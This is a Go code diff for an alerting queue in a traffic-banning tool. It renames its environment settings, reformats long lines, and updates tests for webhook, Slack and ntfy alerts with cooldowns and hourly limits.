Instance string
|
Instance string
|
||||||
// Now tells the time of an alert, normally time.Now in UTC.
|
// Now tells the time of an alert, normally time.Now in UTC.
|
||||||
Now func() time.Time
|
Now func() time.Time
|
||||||
@@ -291,7 +291,15 @@ func cooldownKeyOf(alert *Alert) cooldownKey {
|
|||||||
asn, _ := alert.Detail["asn"].(string)
|
asn, _ := alert.Detail["asn"].(string)
|
||||||
name, _ := alert.Detail["name"].(string)
|
name, _ := alert.Detail["name"].(string)
|
||||||
|
|
||||||
return cooldownKey{alert.Event, alert.Netblock, file, source, scope, asn, name}
|
return cooldownKey{
|
||||||
|
alert.Event,
|
||||||
|
alert.Netblock,
|
||||||
|
file,
|
||||||
|
source,
|
||||||
|
scope,
|
||||||
|
asn,
|
||||||
|
name,
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// New returns a Queue with no alert yet.
|
// New returns a Queue with no alert yet.
|
||||||
@@ -303,17 +311,17 @@ func New(params Params) *Queue {
|
|||||||
}
|
}
|
||||||
|
|
||||||
if params.WebhookURL != nil {
|
if params.WebhookURL != nil {
|
||||||
q.addDestination(DestinationWebhook, "SWW_WAF_ALERT_WEBHOOK_URL",
|
q.addDestination(DestinationWebhook, "SWW_ALERT_WEBHOOK_URL",
|
||||||
params.WebhookURL, q.webhookMessage)
|
params.WebhookURL, q.webhookMessage)
|
||||||
}
|
}
|
||||||
|
|
||||||
if params.SlackURL != nil {
|
if params.SlackURL != nil {
|
||||||
q.addDestination(DestinationSlack, "SWW_WAF_ALERT_SLACK_WEBHOOK_URL",
|
q.addDestination(DestinationSlack, "SWW_ALERT_SLACK_WEBHOOK_URL",
|
||||||
params.SlackURL, slackMessage)
|
params.SlackURL, slackMessage)
|
||||||
}
|
}
|
||||||
|
|
||||||
if params.NtfyURL != nil {
|
if params.NtfyURL != nil {
|
||||||
q.addDestination(DestinationNtfy, "SWW_WAF_ALERT_NTFY_URL",
|
q.addDestination(DestinationNtfy, "SWW_ALERT_NTFY_URL",
|
||||||
params.NtfyURL, q.ntfyMessage)
|
params.NtfyURL, q.ntfyMessage)
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -321,7 +329,7 @@ func New(params Params) *Queue {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// Raise sends alert, which names its event and what is particular to it,
|
// Raise sends alert, which names its event and what is particular to it,
|
||||||
// unless no destination is set or SWW_WAF_ALERT_EVENTS leaves its event
|
// unless no destination is set or SWW_ALERT_EVENTS leaves its event
|
||||||
// out. It gives alert the instance and the time. An alert that repeats
|
// out. It gives alert the instance and the time. An alert that repeats
|
||||||
// the last one let through less than Cooldown before is held back and
|
// the last one let through less than Cooldown before is held back and
|
||||||
// counted. The next one let through gives that count, unless an hour of
|
// counted. The next one let through gives that count, unless an hour of
|
||||||
@@ -333,7 +341,8 @@ func New(params Params) *Queue {
|
|||||||
// queue of each destination, from which Run sends it, and with queueSize
|
// queue of each destination, from which Run sends it, and with queueSize
|
||||||
// alerts waiting for a destination, the oldest is dropped.
|
// alerts waiting for a destination, the oldest is dropped.
|
||||||
func (q *Queue) Raise(alert Alert) {
|
func (q *Queue) Raise(alert Alert) {
|
||||||
if len(q.destinations) == 0 || !slices.Contains(q.params.Events, alert.Event) {
|
if len(q.destinations) == 0 ||
|
||||||
|
!slices.Contains(q.params.Events, alert.Event) {
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -365,7 +374,7 @@ func (q *Queue) Raise(alert Alert) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// WouldSend reports whether Raise would let an alert for event on
|
// WouldSend reports whether Raise would let an alert for event on
|
||||||
// netblock through now: a destination is set, SWW_WAF_ALERT_EVENTS chooses
|
// netblock through now: a destination is set, SWW_ALERT_EVENTS chooses
|
||||||
// event, no alert for event on netblock was let through less than
|
// event, no alert for event on netblock was let through less than
|
||||||
// Cooldown before, and fewer than MaxPerHour alerts have been let through
|
// Cooldown before, and fewer than MaxPerHour alerts have been let through
|
||||||
// in the hour under way. Unlike Raise, it counts nothing.
|
// in the hour under way. Unlike Raise, it counts nothing.
|
||||||
@@ -380,7 +389,8 @@ func (q *Queue) WouldSend(event string, netblock netip.Prefix) bool {
|
|||||||
now := q.params.Now()
|
now := q.params.Now()
|
||||||
|
|
||||||
last, found := q.cooldowns[cooldownKey{event: event, netblock: netblock}]
|
last, found := q.cooldowns[cooldownKey{event: event, netblock: netblock}]
|
||||||
if q.params.Cooldown > 0 && found && now.Sub(last.Sent) < q.params.Cooldown {
|
if q.params.Cooldown > 0 && found &&
|
||||||
|
now.Sub(last.Sent) < q.params.Cooldown {
|
||||||
return false
|
return false
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -474,10 +484,15 @@ func (q *Queue) Snapshot() State {
|
|||||||
}
|
}
|
||||||
|
|
||||||
slices.SortFunc(state.Cooldowns, func(a, b Cooldown) int {
|
slices.SortFunc(state.Cooldowns, func(a, b Cooldown) int {
|
||||||
return cmp.Or(a.Netblock.Compare(b.Netblock), cmp.Compare(a.Event, b.Event),
|
return cmp.Or(
|
||||||
cmp.Compare(a.File, b.File), cmp.Compare(a.Source, b.Source),
|
a.Netblock.Compare(b.Netblock),
|
||||||
cmp.Compare(a.Scope, b.Scope), cmp.Compare(a.ASN, b.ASN),
|
cmp.Compare(a.Event, b.Event),
|
||||||
cmp.Compare(a.Name, b.Name))
|
cmp.Compare(a.File, b.File),
|
||||||
|
cmp.Compare(a.Source, b.Source),
|
||||||
|
cmp.Compare(a.Scope, b.Scope),
|
||||||
|
cmp.Compare(a.ASN, b.ASN),
|
||||||
|
cmp.Compare(a.Name, b.Name),
|
||||||
|
)
|
||||||
})
|
})
|
||||||
|
|
||||||
for _, d := range q.destinations {
|
for _, d := range q.destinations {
|
||||||
@@ -609,14 +624,17 @@ func (q *Queue) endHour(now time.Time) {
|
|||||||
var reasons []string
|
var reasons []string
|
||||||
|
|
||||||
if heldBack > 0 {
|
if heldBack > 0 {
|
||||||
reasons = append(reasons, fmt.Sprintf("%d alerts held back in the hour from %s, "+
|
reasons = append(
|
||||||
"past the %d an hour SWW_WAF_ALERT_MAX_PER_HOUR allows", heldBack,
|
reasons,
|
||||||
q.hour.Start.Format(time.RFC3339), q.params.MaxPerHour))
|
fmt.Sprintf("%d alerts held back in the hour from %s, "+
|
||||||
|
"past the %d an hour SWW_ALERT_MAX_PER_HOUR allows", heldBack,
|
||||||
|
q.hour.Start.Format(time.RFC3339), q.params.MaxPerHour),
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
if repeats > 0 {
|
if repeats > 0 {
|
||||||
reasons = append(reasons, fmt.Sprintf("%d repeats held back by "+
|
reasons = append(reasons, fmt.Sprintf("%d repeats held back by "+
|
||||||
"SWW_WAF_ALERT_COOLDOWN that no later alert gives", repeats))
|
"SWW_ALERT_COOLDOWN that no later alert gives", repeats))
|
||||||
}
|
}
|
||||||
|
|
||||||
if len(reasons) > 0 {
|
if len(reasons) > 0 {
|
||||||
@@ -690,12 +708,19 @@ func (d *destination) run(ctx context.Context) {
|
|||||||
case ctx.Err() == nil: // not cut off as sww stops
|
case ctx.Err() == nil: // not cut off as sww stops
|
||||||
d.sendFailures.Add(1)
|
d.sendFailures.Add(1)
|
||||||
|
|
||||||
retryDelay = min(max(retryDelayFactor*retryDelay, firstRetryDelay),
|
retryDelay = min(
|
||||||
maxRetryDelay)
|
max(retryDelayFactor*retryDelay, firstRetryDelay),
|
||||||
|
maxRetryDelay,
|
||||||
|
)
|
||||||
retryAt = time.Now().Add(retryDelay)
|
retryAt = time.Now().Add(retryDelay)
|
||||||
|
|
||||||
d.processLog.Warn("sending an alert to "+d.setting+" failed",
|
d.processLog.Warn(
|
||||||
"error", err.Error(), "sending_again_in", retryDelay.String())
|
"sending an alert to "+d.setting+" failed",
|
||||||
|
"error",
|
||||||
|
err.Error(),
|
||||||
|
"sending_again_in",
|
||||||
|
retryDelay.String(),
|
||||||
|
)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -783,8 +808,12 @@ func (d *destination) send(ctx context.Context, alert *Alert) error {
|
|||||||
ctx, cancel := context.WithTimeout(ctx, sendTimeout)
|
ctx, cancel := context.WithTimeout(ctx, sendTimeout)
|
||||||
defer cancel()
|
defer cancel()
|
||||||
|
|
||||||
req, err := http.NewRequestWithContext(ctx, http.MethodPost, d.url.String(),
|
req, err := http.NewRequestWithContext(
|
||||||
bytes.NewReader(body))
|
ctx,
|
||||||
|
http.MethodPost,
|
||||||
|
d.url.String(),
|
||||||
|
bytes.NewReader(body),
|
||||||
|
)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return fmt.Errorf("make the request: %w", err)
|
return fmt.Errorf("make the request: %w", err)
|
||||||
}
|
}
|
||||||
@@ -838,7 +867,14 @@ func (q *Queue) webhookMessage(alert *Alert) ([]byte, http.Header, error) {
|
|||||||
// in JSON: its title in bold, then its text, with &, < and > escaped, as
|
// in JSON: its title in bold, then its text, with &, < and > escaped, as
|
||||||
// Slack asks, so that nothing in them is read as a link or a mention.
|
// Slack asks, so that nothing in them is read as a link or a mention.
|
||||||
func slackMessage(alert *Alert) ([]byte, http.Header, error) {
|
func slackMessage(alert *Alert) ([]byte, http.Header, error) {
|
||||||
escape := strings.NewReplacer("&", "&", "<", "<", ">", ">").Replace
|
escape := strings.NewReplacer(
|
||||||
|
"&",
|
||||||
|
"&",
|
||||||
|
"<",
|
||||||
|
"<",
|
||||||
|
">",
|
||||||
|
">",
|
||||||
|
).Replace
|
||||||
|
|
||||||
body, err := json.Marshal(map[string]string{
|
body, err := json.Marshal(map[string]string{
|
||||||
"text": "*" + escape(title(alert)) + "*\n" + escape(text(alert)),
|
"text": "*" + escape(title(alert)) + "*\n" + escape(text(alert)),
|
||||||
@@ -936,7 +972,10 @@ func text(alert *Alert) string {
|
|||||||
}
|
}
|
||||||
|
|
||||||
if alert.SuppressedRepeats > 0 {
|
if alert.SuppressedRepeats > 0 {
|
||||||
lines = append(lines, fmt.Sprintf("suppressed repeats: %d", alert.SuppressedRepeats))
|
lines = append(
|
||||||
|
lines,
|
||||||
|
fmt.Sprintf("suppressed repeats: %d", alert.SuppressedRepeats),
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
return strings.Join(lines, "\n")
|
return strings.Join(lines, "\n")
|
||||||
|
|||||||
+323
-99
@@ -65,7 +65,10 @@ func TestAlertIsPostedAsJSONWithItsFieldsAndTheHeaders(t *testing.T) {
|
|||||||
Netblock: netip.MustParsePrefix("203.0.113.0/24"),
|
Netblock: netip.MustParsePrefix("203.0.113.0/24"),
|
||||||
Country: "DE",
|
Country: "DE",
|
||||||
Reason: "requests per minute over the limit of 1000",
|
Reason: "requests per minute over the limit of 1000",
|
||||||
Detail: map[string]any{"cause": "limit", "ban_expires": anHourOn},
|
Detail: map[string]any{
|
||||||
|
"cause": "limit",
|
||||||
|
"ban_expires": anHourOn,
|
||||||
|
},
|
||||||
})
|
})
|
||||||
synctest.Wait()
|
synctest.Wait()
|
||||||
|
|
||||||
@@ -75,7 +78,12 @@ func TestAlertIsPostedAsJSONWithItsFieldsAndTheHeaders(t *testing.T) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
if got[0].method != http.MethodPost || got[0].url != webhookURL {
|
if got[0].method != http.MethodPost || got[0].url != webhookURL {
|
||||||
t.Errorf("request %s %s, want POST %s", got[0].method, got[0].url, webhookURL)
|
t.Errorf(
|
||||||
|
"request %s %s, want POST %s",
|
||||||
|
got[0].method,
|
||||||
|
got[0].url,
|
||||||
|
webhookURL,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
for name, want := range map[string]string{
|
for name, want := range map[string]string{
|
||||||
@@ -84,21 +92,29 @@ func TestAlertIsPostedAsJSONWithItsFieldsAndTheHeaders(t *testing.T) {
|
|||||||
"X-Team": "ops",
|
"X-Team": "ops",
|
||||||
} {
|
} {
|
||||||
if got[0].header.Get(name) != want {
|
if got[0].header.Get(name) != want {
|
||||||
t.Errorf("header %s is %q, want %q", name, got[0].header.Get(name), want)
|
t.Errorf(
|
||||||
|
"header %s is %q, want %q",
|
||||||
|
name,
|
||||||
|
got[0].header.Get(name),
|
||||||
|
want,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
wantAlert(t, got[0].alert, map[string]any{
|
wantAlert(t, got[0].alert, map[string]any{
|
||||||
"instance": instance,
|
"instance": instance,
|
||||||
"time": started,
|
"time": started,
|
||||||
"event": "ban",
|
"event": "ban",
|
||||||
"client": "203.0.113.9",
|
"client": "203.0.113.9",
|
||||||
"netblock": "203.0.113.0/24",
|
"netblock": "203.0.113.0/24",
|
||||||
"asn": "",
|
"asn": "",
|
||||||
"as_name": "",
|
"as_name": "",
|
||||||
"country": "DE",
|
"country": "DE",
|
||||||
"reason": "requests per minute over the limit of 1000",
|
"reason": "requests per minute over the limit of 1000",
|
||||||
"detail": map[string]any{"cause": "limit", "ban_expires": anHourOn},
|
"detail": map[string]any{
|
||||||
|
"cause": "limit",
|
||||||
|
"ban_expires": anHourOn,
|
||||||
|
},
|
||||||
"suppressed_repeats": float64(0),
|
"suppressed_repeats": float64(0),
|
||||||
})
|
})
|
||||||
wantCounts(t, q, 1, 0, 0, 0)
|
wantCounts(t, q, 1, 0, 0, 0)
|
||||||
@@ -110,12 +126,25 @@ func TestOnlyTheChosenEventsAreSent(t *testing.T) {
|
|||||||
|
|
||||||
synctest.Test(t, func(t *testing.T) {
|
synctest.Test(t, func(t *testing.T) {
|
||||||
params := newParams()
|
params := newParams()
|
||||||
params.Events = []string{alerts.EventSourceFailure, alerts.EventFileError}
|
params.Events = []string{
|
||||||
|
alerts.EventSourceFailure,
|
||||||
|
alerts.EventFileError,
|
||||||
|
}
|
||||||
webhook, q := start(t, params)
|
webhook, q := start(t, params)
|
||||||
|
|
||||||
q.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(1)})
|
q.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(1)})
|
||||||
q.Raise(alerts.Alert{Event: alerts.EventFileError, Reason: "a file error"})
|
q.Raise(
|
||||||
q.Raise(alerts.Alert{Event: alerts.EventPermanentBan, Netblock: netblock(1)})
|
alerts.Alert{
|
||||||
|
Event: alerts.EventFileError,
|
||||||
|
Reason: "a file error",
|
||||||
|
},
|
||||||
|
)
|
||||||
|
q.Raise(
|
||||||
|
alerts.Alert{
|
||||||
|
Event: alerts.EventPermanentBan,
|
||||||
|
Netblock: netblock(1),
|
||||||
|
},
|
||||||
|
)
|
||||||
synctest.Wait()
|
synctest.Wait()
|
||||||
|
|
||||||
wantEvents(t, webhook, alerts.EventFileError)
|
wantEvents(t, webhook, alerts.EventFileError)
|
||||||
@@ -127,12 +156,17 @@ func TestWouldSendOnlyForTheChosenEvents(t *testing.T) {
|
|||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
params := newParams()
|
params := newParams()
|
||||||
params.Events = []string{alerts.EventSourceFailure, alerts.EventFileError}
|
params.Events = []string{
|
||||||
|
alerts.EventSourceFailure,
|
||||||
|
alerts.EventFileError,
|
||||||
|
}
|
||||||
q := alerts.New(params)
|
q := alerts.New(params)
|
||||||
|
|
||||||
if q.WouldSend(alerts.EventBan, netblock(1)) ||
|
if q.WouldSend(alerts.EventBan, netblock(1)) ||
|
||||||
q.WouldSend(alerts.EventPermanentBan, netblock(1)) {
|
q.WouldSend(alerts.EventPermanentBan, netblock(1)) {
|
||||||
t.Error("a ban alert would be sent, though SWW_WAF_ALERT_EVENTS leaves it out")
|
t.Error(
|
||||||
|
"a ban alert would be sent, though SWW_ALERT_EVENTS leaves it out",
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
if !q.WouldSend(alerts.EventFileError, netip.Prefix{}) {
|
if !q.WouldSend(alerts.EventFileError, netip.Prefix{}) {
|
||||||
@@ -184,11 +218,14 @@ func TestWouldSendWithOnlySlackOrOnlyNtfySet(t *testing.T) {
|
|||||||
onlyNtfy.NtfyURL = parseURL(ntfyURL)
|
onlyNtfy.NtfyURL = parseURL(ntfyURL)
|
||||||
|
|
||||||
for setting, params := range map[string]alerts.Params{
|
for setting, params := range map[string]alerts.Params{
|
||||||
"SWW_WAF_ALERT_SLACK_WEBHOOK_URL": onlySlack,
|
"SWW_ALERT_SLACK_WEBHOOK_URL": onlySlack,
|
||||||
"SWW_WAF_ALERT_NTFY_URL": onlyNtfy,
|
"SWW_ALERT_NTFY_URL": onlyNtfy,
|
||||||
} {
|
} {
|
||||||
if !alerts.New(params).WouldSend(alerts.EventBan, netblock(1)) {
|
if !alerts.New(params).WouldSend(alerts.EventBan, netblock(1)) {
|
||||||
t.Errorf("a ban alert would not be sent with only %s set", setting)
|
t.Errorf(
|
||||||
|
"a ban alert would not be sent with only %s set",
|
||||||
|
setting,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -225,8 +262,14 @@ func TestRepeatWithinTheCooldownIsHeldBackAndCountedInTheNext(t *testing.T) {
|
|||||||
synctest.Wait()
|
synctest.Wait()
|
||||||
|
|
||||||
got := webhook.received()
|
got := webhook.received()
|
||||||
wantEvents(t, webhook, alerts.EventBan, alerts.EventBan, alerts.EventPermanentBan,
|
wantEvents(
|
||||||
alerts.EventBan)
|
t,
|
||||||
|
webhook,
|
||||||
|
alerts.EventBan,
|
||||||
|
alerts.EventBan,
|
||||||
|
alerts.EventPermanentBan,
|
||||||
|
alerts.EventBan,
|
||||||
|
)
|
||||||
|
|
||||||
for i, want := range []struct {
|
for i, want := range []struct {
|
||||||
netblock int
|
netblock int
|
||||||
@@ -235,9 +278,14 @@ func TestRepeatWithinTheCooldownIsHeldBackAndCountedInTheNext(t *testing.T) {
|
|||||||
alert := got[i].alert
|
alert := got[i].alert
|
||||||
if alert["netblock"] != netblock(want.netblock).String() ||
|
if alert["netblock"] != netblock(want.netblock).String() ||
|
||||||
alert["suppressed_repeats"] != want.repeats {
|
alert["suppressed_repeats"] != want.repeats {
|
||||||
t.Errorf("alert %d is for %v with %v repeats, want %s with %v", i,
|
t.Errorf(
|
||||||
alert["netblock"], alert["suppressed_repeats"], netblock(want.netblock),
|
"alert %d is for %v with %v repeats, want %s with %v",
|
||||||
want.repeats)
|
i,
|
||||||
|
alert["netblock"],
|
||||||
|
alert["suppressed_repeats"],
|
||||||
|
netblock(want.netblock),
|
||||||
|
want.repeats,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -245,7 +293,9 @@ func TestRepeatWithinTheCooldownIsHeldBackAndCountedInTheNext(t *testing.T) {
|
|||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestFileErrorAndSourceFailureRepeatOnlyForTheSameFileOrSource(t *testing.T) {
|
func TestFileErrorAndSourceFailureRepeatOnlyForTheSameFileOrSource(
|
||||||
|
t *testing.T,
|
||||||
|
) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
synctest.Test(t, func(t *testing.T) {
|
synctest.Test(t, func(t *testing.T) {
|
||||||
@@ -253,8 +303,11 @@ func TestFileErrorAndSourceFailureRepeatOnlyForTheSameFileOrSource(t *testing.T)
|
|||||||
webhook, q := start(t, params)
|
webhook, q := start(t, params)
|
||||||
fileError := func(file string) alerts.Alert {
|
fileError := func(file string) alerts.Alert {
|
||||||
return alerts.Alert{
|
return alerts.Alert{
|
||||||
Event: alerts.EventFileError,
|
Event: alerts.EventFileError,
|
||||||
Detail: map[string]any{"file": file, "error": "line 2: an error"},
|
Detail: map[string]any{
|
||||||
|
"file": file,
|
||||||
|
"error": "line 2: an error",
|
||||||
|
},
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
sourceFailure := func(source string) alerts.Alert {
|
sourceFailure := func(source string) alerts.Alert {
|
||||||
@@ -285,7 +338,11 @@ func TestFileErrorAndSourceFailureRepeatOnlyForTheSameFileOrSource(t *testing.T)
|
|||||||
"/rules.d/50-a.rules", "/rules.d/50-b.rules", "geojs", "abuseipdb",
|
"/rules.d/50-a.rules", "/rules.d/50-b.rules", "geojs", "abuseipdb",
|
||||||
}
|
}
|
||||||
if !slices.Equal(got, want) {
|
if !slices.Equal(got, want) {
|
||||||
t.Errorf("the webhook was sent alerts for %v, want %v", got, want)
|
t.Errorf(
|
||||||
|
"the webhook was sent alerts for %v, want %v",
|
||||||
|
got,
|
||||||
|
want,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
wantCounts(t, q, 4, 0, 2, 0)
|
wantCounts(t, q, 4, 0, 2, 0)
|
||||||
@@ -298,8 +355,12 @@ func TestFileErrorAndSourceFailureRepeatOnlyForTheSameFileOrSource(t *testing.T)
|
|||||||
after.Raise(fileError("/rules.d/50-c.rules"))
|
after.Raise(fileError("/rules.d/50-c.rules"))
|
||||||
|
|
||||||
waiting := after.Snapshot().Waiting[alerts.DestinationWebhook]
|
waiting := after.Snapshot().Waiting[alerts.DestinationWebhook]
|
||||||
if len(waiting) != 1 || waiting[0].Detail["file"] != "/rules.d/50-c.rules" {
|
if len(waiting) != 1 ||
|
||||||
t.Errorf("after loading, alerts wait %+v, want the one for 50-c.rules", waiting)
|
waiting[0].Detail["file"] != "/rules.d/50-c.rules" {
|
||||||
|
t.Errorf(
|
||||||
|
"after loading, alerts wait %+v, want the one for 50-c.rules",
|
||||||
|
waiting,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
@@ -336,7 +397,12 @@ func TestAlertsPastTheHourlyLimitAreRolledIntoOneSummary(t *testing.T) {
|
|||||||
q.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(1)})
|
q.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(1)})
|
||||||
q.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(2)})
|
q.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(2)})
|
||||||
q.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(3)})
|
q.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(3)})
|
||||||
q.Raise(alerts.Alert{Event: alerts.EventPermanentBan, Netblock: netblock(4)})
|
q.Raise(
|
||||||
|
alerts.Alert{
|
||||||
|
Event: alerts.EventPermanentBan,
|
||||||
|
Netblock: netblock(4),
|
||||||
|
},
|
||||||
|
)
|
||||||
q.Raise(alerts.Alert{Event: alerts.EventFileError})
|
q.Raise(alerts.Alert{Event: alerts.EventFileError})
|
||||||
|
|
||||||
// The summary is sent as the hour ends, and not before.
|
// The summary is sent as the hour ends, and not before.
|
||||||
@@ -346,7 +412,13 @@ func TestAlertsPastTheHourlyLimitAreRolledIntoOneSummary(t *testing.T) {
|
|||||||
|
|
||||||
time.Sleep(time.Nanosecond)
|
time.Sleep(time.Nanosecond)
|
||||||
synctest.Wait()
|
synctest.Wait()
|
||||||
wantEvents(t, webhook, alerts.EventBan, alerts.EventBan, alerts.EventSummary)
|
wantEvents(
|
||||||
|
t,
|
||||||
|
webhook,
|
||||||
|
alerts.EventBan,
|
||||||
|
alerts.EventBan,
|
||||||
|
alerts.EventSummary,
|
||||||
|
)
|
||||||
|
|
||||||
summary := webhook.received()[2].alert
|
summary := webhook.received()[2].alert
|
||||||
wantAlert(t, summary, map[string]any{
|
wantAlert(t, summary, map[string]any{
|
||||||
@@ -359,12 +431,14 @@ func TestAlertsPastTheHourlyLimitAreRolledIntoOneSummary(t *testing.T) {
|
|||||||
"as_name": "",
|
"as_name": "",
|
||||||
"country": "",
|
"country": "",
|
||||||
"reason": "3 alerts held back in the hour from 2000-01-01T00:00:00Z, " +
|
"reason": "3 alerts held back in the hour from 2000-01-01T00:00:00Z, " +
|
||||||
"past the 2 an hour SWW_WAF_ALERT_MAX_PER_HOUR allows",
|
"past the 2 an hour SWW_ALERT_MAX_PER_HOUR allows",
|
||||||
"detail": map[string]any{
|
"detail": map[string]any{
|
||||||
"hour": started,
|
"hour": started,
|
||||||
"count": float64(3),
|
"count": float64(3),
|
||||||
"events": map[string]any{
|
"events": map[string]any{
|
||||||
"ban": float64(1), "permanent_ban": float64(1), "file_error": float64(1),
|
"ban": float64(
|
||||||
|
1,
|
||||||
|
), "permanent_ban": float64(1), "file_error": float64(1),
|
||||||
},
|
},
|
||||||
},
|
},
|
||||||
"suppressed_repeats": float64(0),
|
"suppressed_repeats": float64(0),
|
||||||
@@ -375,13 +449,21 @@ func TestAlertsPastTheHourlyLimitAreRolledIntoOneSummary(t *testing.T) {
|
|||||||
q.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(5)})
|
q.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(5)})
|
||||||
time.Sleep(time.Hour)
|
time.Sleep(time.Hour)
|
||||||
synctest.Wait()
|
synctest.Wait()
|
||||||
wantEvents(t, webhook, alerts.EventBan, alerts.EventBan, alerts.EventSummary,
|
wantEvents(
|
||||||
alerts.EventBan)
|
t,
|
||||||
|
webhook,
|
||||||
|
alerts.EventBan,
|
||||||
|
alerts.EventBan,
|
||||||
|
alerts.EventSummary,
|
||||||
|
alerts.EventBan,
|
||||||
|
)
|
||||||
wantCounts(t, q, 4, 0, 3, 0)
|
wantCounts(t, q, 4, 0, 3, 0)
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestRepeatsBeforeAnAlertPastTheHourlyLimitAreGivenByTheSummary(t *testing.T) {
|
func TestRepeatsBeforeAnAlertPastTheHourlyLimitAreGivenByTheSummary(
|
||||||
|
t *testing.T,
|
||||||
|
) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
synctest.Test(t, func(t *testing.T) {
|
synctest.Test(t, func(t *testing.T) {
|
||||||
@@ -389,7 +471,9 @@ func TestRepeatsBeforeAnAlertPastTheHourlyLimitAreGivenByTheSummary(t *testing.T
|
|||||||
params.MaxPerHour = 1
|
params.MaxPerHour = 1
|
||||||
webhook, q := start(t, params)
|
webhook, q := start(t, params)
|
||||||
raise := func() {
|
raise := func() {
|
||||||
q.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(1)})
|
q.Raise(
|
||||||
|
alerts.Alert{Event: alerts.EventBan, Netblock: netblock(1)},
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
// The hour's one alert, and two repeats the cooldown holds back.
|
// The hour's one alert, and two repeats the cooldown holds back.
|
||||||
@@ -408,7 +492,13 @@ func TestRepeatsBeforeAnAlertPastTheHourlyLimitAreGivenByTheSummary(t *testing.T
|
|||||||
raise()
|
raise()
|
||||||
synctest.Wait()
|
synctest.Wait()
|
||||||
|
|
||||||
wantEvents(t, webhook, alerts.EventBan, alerts.EventSummary, alerts.EventBan)
|
wantEvents(
|
||||||
|
t,
|
||||||
|
webhook,
|
||||||
|
alerts.EventBan,
|
||||||
|
alerts.EventSummary,
|
||||||
|
alerts.EventBan,
|
||||||
|
)
|
||||||
|
|
||||||
got := webhook.received()
|
got := webhook.received()
|
||||||
if len(got) == 3 {
|
if len(got) == 3 {
|
||||||
@@ -416,11 +506,16 @@ func TestRepeatsBeforeAnAlertPastTheHourlyLimitAreGivenByTheSummary(t *testing.T
|
|||||||
summaryRepeats := got[1].alert["suppressed_repeats"]
|
summaryRepeats := got[1].alert["suppressed_repeats"]
|
||||||
lastRepeats := got[2].alert["suppressed_repeats"]
|
lastRepeats := got[2].alert["suppressed_repeats"]
|
||||||
|
|
||||||
if detail["count"] != float64(1) || summaryRepeats != float64(2) ||
|
if detail["count"] != float64(1) ||
|
||||||
|
summaryRepeats != float64(2) ||
|
||||||
lastRepeats != float64(0) {
|
lastRepeats != float64(0) {
|
||||||
t.Errorf("the summary counts %v alerts and %v repeats, and the last "+
|
t.Errorf(
|
||||||
"alert gives %v repeats, want 1, 2 and 0", detail["count"],
|
"the summary counts %v alerts and %v repeats, and the last "+
|
||||||
summaryRepeats, lastRepeats)
|
"alert gives %v repeats, want 1, 2 and 0",
|
||||||
|
detail["count"],
|
||||||
|
summaryRepeats,
|
||||||
|
lastRepeats,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -428,7 +523,9 @@ func TestRepeatsBeforeAnAlertPastTheHourlyLimitAreGivenByTheSummary(t *testing.T
|
|||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestCooldownsThatHaveRunOutAreDroppedAndTheirRepeatsSummedUp(t *testing.T) {
|
func TestCooldownsThatHaveRunOutAreDroppedAndTheirRepeatsSummedUp(
|
||||||
|
t *testing.T,
|
||||||
|
) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
for name, maxPerHour := range map[string]int{"limit off": 0, "limit set": 60} {
|
for name, maxPerHour := range map[string]int{"limit off": 0, "limit set": 60} {
|
||||||
@@ -465,8 +562,12 @@ func TestCooldownsThatHaveRunOutAreDroppedAndTheirRepeatsSummedUp(t *testing.T)
|
|||||||
|
|
||||||
kept := len(q.Snapshot().Cooldowns)
|
kept := len(q.Snapshot().Cooldowns)
|
||||||
if kept > int(cooldown/time.Minute) {
|
if kept > int(cooldown/time.Minute) {
|
||||||
t.Errorf("after %d netblocks, %d cooldowns are kept, want at most %d",
|
t.Errorf(
|
||||||
netblocks, kept, int(cooldown/time.Minute))
|
"after %d netblocks, %d cooldowns are kept, want at most %d",
|
||||||
|
netblocks,
|
||||||
|
kept,
|
||||||
|
int(cooldown/time.Minute),
|
||||||
|
)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
